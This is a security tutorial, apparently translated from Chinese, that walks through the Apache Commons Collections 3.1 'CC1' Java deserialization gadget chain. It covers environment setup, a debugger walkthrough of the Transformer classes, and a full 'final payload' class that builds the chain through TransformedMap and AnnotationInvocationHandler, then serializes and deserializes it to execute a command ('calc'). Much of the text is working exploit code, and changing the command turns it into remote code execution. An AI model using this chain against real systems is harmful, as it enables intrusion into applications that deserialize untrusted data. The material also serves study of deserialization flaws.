Introduction to Commons Collections
Apache Commons is a project of the Apache Software Foundation and used to be affiliated with Jakarta
the project. Commons
The purpose is to provide reusable, open-source Java code that solves various practical general problems. Commons consists of three parts: Proper
(some released projects), Sandbox
(some projects under development) and Dormant
(some projects that have just started or have stopped maintenance).
The Commons CollectionsCollections API
package provides a fairly nice addition to the Java standard . On this basis, it encapsulates, abstracts and supplements its common data structure operations well. Let us not only guarantee the performance, but also greatly simplify the code in the process of developing the application.
train of thought
Because Commons Collections
they are all collection classes, collection classes can generally accept any object, so go directly to the method call
Deserialization process:
Environment installation
jdk
The 8u65 version commonly used by jdk can be downloaded from the official website
You can install it in a virtual machine, and then copy the jdk to the physical machine
scr.zip
Then unzip the inside
change source code
In fact, there is no sun package in the original src.
An external import is required.
Download the openJDK corresponding to the JDK,
Find the sun under src\share\classes
Copy it to src under jdk.
build project
import project
Create a new maven project
Then use the 3.1 version of cc1's maven
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
Seeing such a directory, we have successfully built
Commons Collections command execution
poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class cc1 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"})
};
Transformer transformer = new ChainedTransformer(transformers);
transformer.transform(1);
}
}
analyze
Transformer[] transformers = new Transformer[]{
//数组
new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer
The array is defined transformer
, and then it will Runtime.getRuntime()
be passed in ConstantTransformer
, and what we need when the command is executed is Runtime.getRuntime()
the followingexec
follow upConstantTransformer
He will Runtime.getRuntime
be passed iConstant
in, iConstant
but an object type
You can see that iConstant
there is a transform
method in it that can directly return the incoming things,
ConstantTransformer->iConstant->Runtime.getRuntime()
after
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"})
};
Transformer transformer = new ChainedTransformer(transformers);
transformer.transform(1);
}
This is InvokerTransformer
a string of things that will be passed in, take a look at InvokerTransformer
the structure
Accepts three parameters, String type, Class type and Object, after passing in, it is equivalent to
iMethodName = exec;
iParamTypes = String.class;
iArgs = calc;
Why do you want to pass it like this? In InvokerTransformer
, there is a transform
method
and of which
Obviously a reflective execution command
Class cls = input.getClass();
can get a class
Method method = cls.getMethod(iMethodName, iParamTypes);
The method of the class can be obtained, and the one we passed in before
iMethodName = exec;
iParamTypes = String.class;
iArgs = calc;
These three parameters can be getMethod
obtained through, that is,
Method method = cls.getMethod(exec, String.class);
The final execution command is
return method.invoke(input, iArgs);
Directly passed invoke
, the input can be what we sent out Runtime.getRuntime()
, iArgs
in fact, it is a parameter, that is, it is passed in calc
, which causes the command to be executed
But how can he execute the command, that is, get the correct class
There is also a paragraph in the poc
Transformer transformer = new ChainedTransformer(transformers);
transformer.transform(1);
Put transformers
this array in ChainedTransformer
and chase itChainedTransformer
It can be seen that what he accepts is an transformers
array and puts him iTransformers
in
In poc, transform
a parameter is passed
transformer.transform(1);
follow this method
A for loop, and the parameters inside iTransformers
are the parameters we passed before, and then iTransformers[i].transform(object);
executed by reaching the command
Follow the breakpoint
It can be seen iTransformers.length
that it must be two, because we passed two parameters above. In the for loop, when i=0, it will be called ConstanTransformer.transform
(you can see the arrow, it is obvious). For the same reason, when i=1, callInvokerTransformer.transform
Continue to follow up and verify
Indeed, and we just Runtime.getRuntime()
saved to iConstant
the
ConstantTransformer->iConstant->Runtime.getRuntime()
return directly
It can be seen that the current one object
is what we need Runtime.getRuntime()
, i=0 is completed, and then continue with i=1, in i=1, objec is equal toRuntime.getRuntime()
continue to follow
It can be seen getMethod
that the parameters in are passed in by us in poc, and Object input
it happens to be what we want Runtime.getRuntime()
, so the command is executed
cc1 chain
The first is the interfaceTransformer
There is only one transform
method, find the interface class of this method
After entering, you can see the execution of the reflection class command we mentioned earlier
It's here InvokerTransformer
, transform
and then look for where to call InvokerTransformer
ittransform
checkSetValue
Called in valueTransformer
, transform
let's see valueTransformer
what it is
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
The protected method can only be called by itself, and then find the function that calls him
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
decorate
Called in and TransformedMap
made a package for him
then go to checkSetValue
call
setValue
It is called in , which is setValue
one entry.map
of the methods in , if we traverse one side of the map, it will definitely be called setValue
, and then it will be called checkSetValue
, and then we will get to what we want transform
, and then we will find the place to traverse the array and call setValue
it
The method of calling and traversing AnnotationInvocationHandler
is found in , and the information is obtained by reflectionsetValue
map
when writing poc
Runtime r = Runtime.getRuntime();
Cannot be deserialized because there is no interface, so use reflection to get his properties and then deserialize
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"}).transform(r);
Class c = Runtime.class;
Then transformer
put all in one, you can just call it once
Transformer[] transformers = new Transform[]{
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, null}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
chainedTransformer.transform(Runtime.class);
Later, because there are two if statements here, they have to be bypassed to callsetValue
the first if
if (memberType != null) {
// i.e. member still exists
Object value = memberValue.getValue();
In fact, let us find a class with member methods, and at the same time, map.put()
the array in it should be changed to the name of the member method
For examplemap.put('value','aaa')
the second if
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
Judging whether these two things can be forced to switch, it is definitely not possible here, so the two ifs are bypassed
But the actual parameter of setValue is uncontrollable, but at the beginning we have atranform
It can directly return what we input, and we can call this point at the end
Transformer[] transformers = new Transform[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, null}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
final payload
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
public class cc1 {
public static void main(String[] args) throws Exception {
// Transformer[] transformers = new Transformer[]{ //数组
// new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer
// Runtime r = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// HashMap<Object, Object> map = new HashMap<Object, Object>();
// map.put("key","123");
// Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chaine);
// //遍历map
// for(Map.Entry entry:map.entrySet()){
// entry.setValue(r);
// }
// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
// Class c = Runtime.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, null}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value","123");
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
// Method getRuntimeMethod = c.getMethod("getRuntime", null);
// Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor a = c.getDeclaredConstructor(Class.class,Map.class);
//确定可以访问
a.setAccessible(true);
Object o = a.newInstance(Target.class,transformedMap);
serialize(o);
unserializ("ser.bin");
// TransformedMap.decorate(map,null,invokerTransformer);
}
;
// Transformer transformer = new ChainedTransformer(transformers);
// transformer.transform(1);
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserializ(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}